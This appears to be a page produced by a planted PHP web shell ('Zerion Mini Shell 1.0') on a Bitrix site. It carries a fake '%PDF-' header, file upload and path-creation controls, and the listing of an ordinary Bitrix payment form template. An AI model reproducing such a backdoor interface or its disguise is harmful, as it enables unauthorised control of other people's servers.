%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/modules/sale/handlers/paysystem/alfabankb2b/template/
Upload File :
Create Path :
Current File : //home/bitrix/www/bitrix/modules/sale/handlers/paysystem/alfabankb2b/template/template.php

<?
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
	die();

use \Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);
?>
<p><?=Loc::getMessage('SALE_HPS_ALFABANK_PAYMENT');?></p>

<?
$post = array();
foreach ($_POST as $key => $value)
{
	if (!is_array($value))
	{
		$post[htmlspecialcharsbx($key)] = htmlspecialcharsbx($value);
	}
	else
	{
		foreach ($value as $k1 => $v1)
		{
			if (is_array($v1))
			{
				foreach ($v1 as $k2 => $v2)
				{
					if (!is_array($v2))
						$post[htmlspecialcharsbx($key)."[".htmlspecialcharsbx($k1)."][".htmlspecialcharsbx($k2)."]"] = htmlspecialcharsbx($v2);
				}
			}
			else
			{
				$post[htmlspecialcharsbx($key)."[".htmlspecialcharsbx($k1)."]"] = htmlspecialcharsbx($v1);
			}
		}
	}
}
?>

<form action="" method="post">
	<?bitrix_sessid_post()?>
	<?foreach ($post as $key => $value):?>
		<input type="hidden" name="<?=$key;?>" value="<?=$value;?>">
	<?endforeach;?>

	<input type="hidden" name="payment_id" value="<?=$params['PAYMENT_ID']?>">
	<input type="hidden" name="accountNumber" value="<?=$params['ACCOUNT_NUMBER']?>">
	<input type="hidden" name="paySystemId" value="<?=$params['PAYSYSTEM_ID']?>">
	<input type="hidden" name="initiate_pay" value="Y">

	<input type="submit" name="send" value="<?=Loc::getMessage('SALE_HPS_ALFABANK_SEND');?>">
</form>

Zerion Mini Shell 1.0